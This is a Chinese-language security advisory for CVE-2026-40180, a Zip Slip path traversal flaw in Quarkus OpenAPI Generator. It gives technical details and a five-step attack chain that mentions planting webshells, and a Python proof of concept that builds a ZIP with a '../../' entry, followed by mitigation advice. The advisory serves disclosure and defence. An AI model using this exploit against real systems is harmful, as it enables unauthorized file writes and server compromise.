IPBUF安全漏洞报告
English
CVE-2026-40180 CVSS 7.5 高危

CVE-2026-40180 Quarkus OpenAPI Generator路径遍历漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-40180
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Quarkus OpenAPI Generator

相关标签

路径遍历Zip SlipQuarkusCVE-2026-40180任意文件写入高危漏洞

漏洞概述

Quarkus OpenAPI Generator是Quarkus用于生成Rest Clients和服务器存根的扩展。在2.16.0和2.15.0-lts版本之前,该组件存在路径遍历漏洞。具体而言,ApicurioCodegenWrapper.java文件中的unzip()方法在解压ZIP条目时,未对解析后的文件路径进行有效验证,以确保其位于预期的输出目录内。攻击者可利用此漏洞,通过特制的恶意ZIP文件(包含如“../../”的路径遍历序列),将文件写入目标目录之外的任意位置,从而破坏系统完整性。

技术细节

该漏洞的根源在于Quarkus OpenAPI Generator的ApicurioCodegenWrapper.java类中unzip()方法的不安全实现。在处理ZIP文件时,代码直接使用`entry.getName()`作为文件名,并通过`new File(toOutputDir, entry.getName())`构造目标文件对象,随后立即写入内容。关键问题在于缺乏对`entry.getName()`的校验机制,未检查其中是否包含路径遍历字符(如“../”或绝对路径)。当攻击者诱导受害者解压一个精心构造的恶意ZIP文件时,即使文件名包含“../../etc/passwd”或“../../webapp/shell.jsp”等跳转序列,程序也会盲目跟随路径进行写入。由于代码未对最终解析的路径是否仍在`toOutputDir`范围内进行规范化检查,导致文件被写入到父级目录甚至系统根目录。这种“Zip Slip”攻击方式允许攻击者覆盖关键配置文件、植入WebShell或恶意代码,进而可能获取服务器控制权。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统正在使用Quarkus OpenAPI Generator组件,且版本低于2.16.0或2.15.0-lts。
STEP 2
武器化
攻击者构造一个恶意的ZIP压缩包,其中包含带有路径遍历序列(如../../)的文件条目,指向系统敏感路径。
STEP 3
投递
攻击者通过文件上传功能、邮件附件或供应链依赖投递等方式,将恶意ZIP文件发送给目标应用。
STEP 4
利用
目标应用的ApicurioCodegenWrapper组件解压该ZIP文件,由于未校验路径,恶意文件被写入到预期目录之外的任意位置。
STEP 5
影响
攻击者成功覆盖关键系统文件或写入WebShell,导致系统完整性受损,可能导致远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os def create_malicious_zip(): """ Proof of Concept for CVE-2026-40180. Generates a malicious ZIP file containing a path traversal entry. """ zip_filename = "malicious_cve_2026_40180.zip" # The payload to write outside the intended directory payload_content = b"MALICIOUS_PAYLOAD: If you see this file outside the extraction folder, the system is vulnerable." try: with zipfile.ZipFile(zip_filename, 'w') as zf: # Construct a filename with path traversal sequences (Zip Slip) # This attempts to write to the parent directory of the extraction point malicious_filename = "../../exploit_poc.txt" # Create ZipInfo to set metadata (optional, but good practice) zinfo = zipfile.ZipInfo(malicious_filename) # Write the payload zf.writestr(zinfo, payload_content) print(f"[+] Successfully created malicious ZIP file: {zip_filename}") print(f"[+] The file contains an entry named: {malicious_filename}") print(f"[+] Upload or trigger the processing of this file on the vulnerable Quarkus application.") except Exception as e: print(f"[-] Error creating ZIP file: {e}") if __name__ == "__main__": create_malicious_zip()

影响范围

Quarkus OpenAPI Generator < 2.16.0
Quarkus OpenAPI Generator < 2.15.0-lts

防御指南

临时缓解措施
如果无法立即升级版本,建议暂时禁用受影响的OpenAPI Generator功能或严格限制上传文件的来源。对于必须解压的ZIP文件,应在解压前通过代码逻辑或WAF规则拦截包含“../”或绝对路径的文件名,防止路径遍历攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表